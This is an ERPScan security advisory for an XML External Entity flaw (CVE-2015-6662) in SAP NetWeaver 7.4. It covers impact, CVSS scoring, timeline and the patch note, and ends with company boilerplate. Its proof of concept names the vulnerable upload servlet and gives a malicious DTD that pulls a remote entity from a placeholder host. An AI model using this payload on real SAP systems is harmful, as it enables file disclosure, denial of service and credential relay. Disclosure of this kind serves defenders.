Application: SAP NetWeaver
Versions Affected: SAP NetWeaver 7.4, probably others
Vendor URL: http://SAP.com
Bugs: XML External Entity
Send: 16.04.2015
Reported: 16.04.2015
Vendor response: 16.04.2015
Date of Public Advisory: 11.08.2015
Reference: SAP Security Note 2168485
Author: Roman Bezhan (ERPScan)
Description
1. ADVISORY INFORMATION
Title: SAP NetWeaver 7.4
Advisory ID: [ERPSCAN-15-018]
Risk: Hight
Advisory URL: http://erpscan.com/advisories/erpscan-15-018-sap-netweaver-7-4-xxe/
Date published: 11.08.2015
Vendors contacted: SAP
2. VULNERABILITY INFORMATION
Class: XML External Entity [CWE-611]
Impact: information disclosure, denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2015-6662
CVSS Information
CVSS Base Score: 4.9 / 10
CVSS Base Vector:
AV : Access Vector (Related exploit range) Network (N)
AC : Access Complexity (Required attack complexity) Medium (M)
Au : Authentication (Level of authentication needed to exploit) Single (S)
C : Impact to Confidentiality Partial (P)
I : Impact to Integrity None (N)
A : Impact to Availability Partial (P)
3. VULNERABILITY DESCRIPTION
1) An attacker can read an arbitrary file on the server by sending a
correct XML request with a crafted DTD to read the reply from the
service.
2) An attacker can perform a DoS attack (for example, an XML Entity
expansion attack).
3) An SMB Relay attack is a type of Man-in-the-Middle attack where an
attacker asks a victim to authenticate into a machine controlled by
the attacker, then relays the credentials to the target. The attacker
forwards the authentication information both ways and gets access.
4. VULNERABLE PACKAGES
SAP NetWeaver 7.4
Other versions are probably affected too, but they were not checked.
5. SOLUTIONS AND WORKAROUNDS
To correct this vulnerability, install SAP Security note 2168485
6. AUTHOR
Roman Bezhan (ERPScan)
7. TECHNICAL DESCRIPTION
The vulnerability affects the functionality used by an administrator
to import applications.
An attacker can replace ApplicationDefinition.xml file with a
malicious XML code.
PoC
Vulnerable URL
http://IP:50000/irj/servlet/prt/portal/prteventname/upload/prtroot/com.sap.portal.landscape.access.LSXMLParse
Malicious file
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://IP:PORT/">
%remote;]>
<root/>
8. REPORT TIMELINE
Send: 16.04.2015
Reported: 16.04.2015
Vendor response: 16.04.2015
Date of Public Advisory: 11.08.2015
9. REFERENCES
http://erpscan.com/advisories/erpscan-15-018-sap-netweaver-7-4-xxe/
10. ABOUT ERPScan Research
The company?s expertise is based on the research subdivision of
ERPScan, which is engaged in vulnerability research and analysis of
critical enterprise applications. It has achieved multiple
acknowledgments from the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).
ERPScan researchers are proud to have exposed new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be
nominated for the best server-side vulnerability at BlackHat 2013.
ERPScan experts have been invited to speak, present, and train at 60+
prime international security conferences in 25+ countries across the
continents. These include BlackHat, RSA, HITB, and private SAP
trainings in several Fortune 2000 companies.
ERPScan researchers lead the project EAS-SEC, which is focused on
enterprise application security research and awareness. They have
published 3 exhaustive annual award-winning surveys about SAP
security.
ERPScan experts have been interviewed by leading media resources and
featured in specialized info-sec publications worldwide. These include
Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,
Heise, and Chinabyte, to name a few.
We have highly qualified experts in staff with experience in many
different fields of security, from web applications and
mobile/embedded to reverse engineering and ICS/SCADA systems,
accumulating their experience to conduct the best SAP security
research.
11. ABOUT ERPScan
ERPScan is the most respected and credible Business Application
Security provider. Founded in 2010, the company operates globally and
enables large Oil and Gas, Financial and Retail organizations to
secure their mission-critical processes. Named as an ?Emerging Vendor?
in Security by CRN, listed among ?TOP 100 SAP Solution providers? and
distinguished by 30+ other awards, ERPScan is the leading SAP SE
partner in discovering and resolving security vulnerabilities. ERPScan
consultants work with SAP SE in Walldorf to assist in improving the
security of their latest solutions.
ERPScan?s primary mission is to close the gap between technical and
business security, and provide solutions to evaluate and secure SAP
and Oracle ERP systems and business-critical applications from both,
cyber-attacks as well as internal fraud. Usually our clients are large
enterprises, Fortune 2000 companies and managed service providers
whose requirements are to actively monitor and manage security of vast
SAP landscapes on a global scale.
We ?follow the sun? and function in two hubs, located in the Palo Alto
and Amsterdam to provide threat intelligence services, agile support
and operate local offices and partner network spanning 20+ countries
around the globe.
Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301
Phone: 650.798.5255
Twitter: @erpscan
Scoop-it: Business Application Security